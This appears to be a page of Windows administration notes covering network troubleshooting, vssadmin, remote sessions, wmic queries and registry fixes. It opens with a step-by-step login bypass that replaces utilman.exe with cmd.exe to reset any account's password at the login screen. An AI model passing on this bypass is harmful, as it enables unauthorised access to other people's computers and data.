How to Crack a Windows Login
net user [username] [password]
Here is a working method
Boot the computer into a mode that gives you access to the command prompt. if you use a windows installer, select the repair computer option.
At the command prompt, change directory to C:\windows\system32
copy cmd.exe to replace utilman.exe using the following commands
move utilman.exe utilman.bak
copy cmd.exe utilman.exe
Reboot
Boot in normal mode, at the login screen use crtl+alt+del to open the windows login dialog, then use windowskey+u and the command prompt should open.
In the command prompt window type
net user [username] [password]
Commands for troubleshooting TCP/IP
arp
hostname
ipconfig
nbstat
netsh
netstat
nslookup
ping
route
tracert
pathping
netdiag
telnet
ttcp
Reset network share connection and credentials
First delete the mapped drive
net use \\server\share /delete
Then, reset the Kerberos tickets for the current logon session
klist purge
Reclaim disk space from system volume information
To see the space allocated
vssadmin list shadowstorage
To see the current restore information
vssadmin list shadows
To resize the maximum allocated space
vssadmin resize shadowstorage /on=[X]: /For=[X]: /maxsize=[X]GB
Example:
vssadmin resize shadowstorage /on=c: /for=c: /maxsize =10GB
Management
Remote shutdown
shutdown /r /m \ComputerName /c "Comment" /d [u|p] :
Local users
net user username password
net user /active:yes
Time
net time \ /set /yes
Install schema master (Domain Controller)
regsvr32 schmmgmt.dll
Print Management in Home Premium
printui /s /t2
Terminal Server Has Exceeded the Maximum Number of Allowed Connections
query session /server:[servername]
reset session [ID] /server:[servername]
Remote Desktop Connection
mstsc /v:[computername or IP] /console
Dell service tag, SN, bios
wmic bios get serialnumber
wmic useraccount get name,sid
wmic bios get smbiosbiosversion
Windows Registry Stuff
Enable Net RPC Access to Windows Computers
HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
Create DWORD LocalAccountTokenFilterPolicy = 1
Redirect user shell folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Resolve DNS server issues
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Dns\Client
Can’t join domain (DNS issue)
HKLM\System\CurrentControlSet\Services\LanMan\Workstation\Parameters
Create DWORD DomainCompatibilityMode = 1
Create DWORD DNSNameResolutionRequired = 0
Server Manager keeps crashing
Change this key
HKLM\SOFTWARE\Microsoft\ServerManager\ServicingStorage\ServerComponentCache
to
HKLM\SOFTWARE\Microsoft\ServerManager\ServicingStorage\ServerComponentCache.OLD